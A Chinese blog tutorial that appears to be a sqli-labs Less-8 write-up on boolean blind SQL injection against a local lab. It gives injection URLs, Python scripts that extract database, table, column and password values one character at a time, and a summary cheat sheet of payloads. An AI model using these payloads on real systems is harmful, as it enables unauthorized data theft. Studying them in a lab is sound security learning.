前言:之前通过前九关学习到了回显注入、报错注入等一些方法,这次就来详细的学习布尔盲注。
首先来了解一下盲注的概念
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。
布尔盲注
原理:
注入的时候只会返回True和False
,所以布尔盲注就是根据页面显示的是True还是False
进行猜测数据库中的信息。
布尔盲注需要几个函数的辅助,就先来了解一下这几个函数
length()函数可返回字符串的长度
substring()函数可以截取字符串,可指定开始的位置和截取的长度
ord()函数可以返回单个字符的ASCII码
char()函数可将ASCII码转换为对应的字符
具体的用法可以参考大佬的博客Mysql语法介绍,接下来就通过sql-labs练习布尔盲注。
判断注入点(也就是闭合符号)
发现输入id=1'
会报错
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
在id=1'
后再加上注释符号后又回显正确,所以判定闭合符号为'
爆数据库长度
知道闭合符号后,先来爆一下数据库名的长度,这里就用到上面所说的函数了
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+
回显正确
手工注入的话就要一遍一遍的试试,将后面的长度不断增大,最后得出数据库名的长度为8
爆数据库名
知道了数据库名的长度,接下来就来爆破数据库名
Less-8/?id=1' and ord(substr(database(),1,1))>99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) > 99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) = 99 --+
原理都一样,目的就是取出数据库名中的一个字符通过比较ascii码来猜测出数据库名,但是如果手动爆的话太浪费时间了,可以写脚本
,也可以用burp爆破
,这里两种方法都试一下
burp爆破
先抓包
设置变量,这里设置了两个变量所以上面的框中要选第四个选项
第一个变量设置为numbers
1到8,第二个变量也设置为numbers
0到127
分别设置好,然后开始爆破。
不过太慢了,应该是我burp设置的有问题,这里就学习一下这种方法,爆破还是脚本来吧。
附上大佬博客利用burp盲注
脚本爆破
目前脚本还不会写,就参考大佬的学习一下
大佬博客布尔盲注
脚本中一些不太懂的语法就参考下面大佬的博客
Python requests
Python——入门级(定义功能def函数)
格式化输出字符串
import requests
def database_len():
for i in range(1,10):
url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
payload = '''?id=1' and length(database())>%s''' %i #格式化输出字符串
# print(url+payload+'%23')
r = requests.get(url+payload+'%23')
if 'You are in' in r.text:
print(i)
else:
#print('false')
print('database_length:',i)
break
database_len()
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i
print(name)
break
print('database_name:',name)
database_name()
爆出了数据库名和长度,接下来改payload爆出表名
payload:
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>90 --+
修改一下脚本
import requests
def table_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i
print(name)
break
print('table_name:',name)
table_name()
通过修改 limit 0,1
来获取其他表名
爆出列名
payload:
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+
修改脚本,跑出列名
import requests
def column_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i
print(name)
break
print('column_name:',name)
column_name()
其他的修改limit
后的值即可得出其他的列名
爆值
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+
脚本还和上面的相同,只不过改下payload,但是这个脚本是有缺陷的,就是在遍历,但是我们赋给i
的字符只有小写的,有可能其他大写的或特殊符号显示不出来,只要加上就行了。但是这样做的话脚本跑的也会很慢,还是好好学习python,写一个更加便捷的。
最后总结一下布尔盲注常用语句
爆数据库长度
?id=1' and (length(database()))>1 --+
爆数据库名
?id=1' and (ascii(substr(database(),1,1)))>1 --+
爆表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+
爆列名
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>1 --+
爆值
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>1--+
语句几乎不变,根据需要加以改动即可,这次就先学习布尔盲注,接下来学习时间盲注。